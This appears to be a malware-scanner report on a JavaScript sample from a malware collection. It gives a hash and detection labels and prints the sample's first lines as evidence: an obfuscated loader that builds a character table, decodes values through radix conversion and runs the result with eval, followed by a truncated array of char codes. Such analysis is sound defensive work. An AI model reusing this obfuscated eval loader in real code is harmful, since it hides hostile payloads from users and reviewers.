Suspicious ^80% javascript-malware-collection Download

20151208_2112cc76a10b9f0bc834c8ab3fe60343.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2562f792a495650a58e475b2773ad8a6584142ba5ecd2b63f2ff0a207f51397d2aa

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var kTOAvphByjIMx=[];for(VwqZZSw=(-763+763)/201;VwqZZSw<(42636+628)/338;VwqZZSw++){kTOAvphByjIMx[VwqZZSw]=String.fromCharCode(VwqZZSw)}function nmxsr(vPQwdrVATbS,OfeBJPXONVKNu,dEkNHdFd){RHwZ=parseInt(vPQwdrVATbS,OfeBJPXONVKNu);gdBGO=RHwZ.toString(dEkNHdFd);return gdBGO;}function CrfeeDPVMYSaOne(HJIqMgxIFIxvqDcfs){eval(HJIqMgxIFIxvqDcfs)}
2function ivkTMEgtvWYEuvjOryIOphUzMWRGbDmsOSOrZgYmUMFGSJwUOlHenz(LDvgasvfVjGDA,CqYbSmvjuhNIXC){ return kTOAvphByjIMx[nmxsr(LDvgasvfVjGDA[CqYbSmvjuhNIXC],(9602+348)/995,(6374+706)/708)];}
3function YMpoJNb(gvKSsjCEkrGhgNAHXdtDOUIGeFmtdTzQaZXc) {return !isNaN(parseFloat(gvKSsjCEkrGhgNAHXdtDOUIGeFmtdTzQaZXc)) && isFinite(gvKSsjCEkrGhgNAHXdtDOUIGeFmtdTzQaZXc);}
4function blKxRrgDWLp(hxCJFYXI,pjEDRa){return hxCJFYXI.split(pjEDRa)}
5var b=[];b.push("13");b.push("10");b.push("13");b.push("10");b.push("118");b.push("97");b.push("114");b.push("32");b. …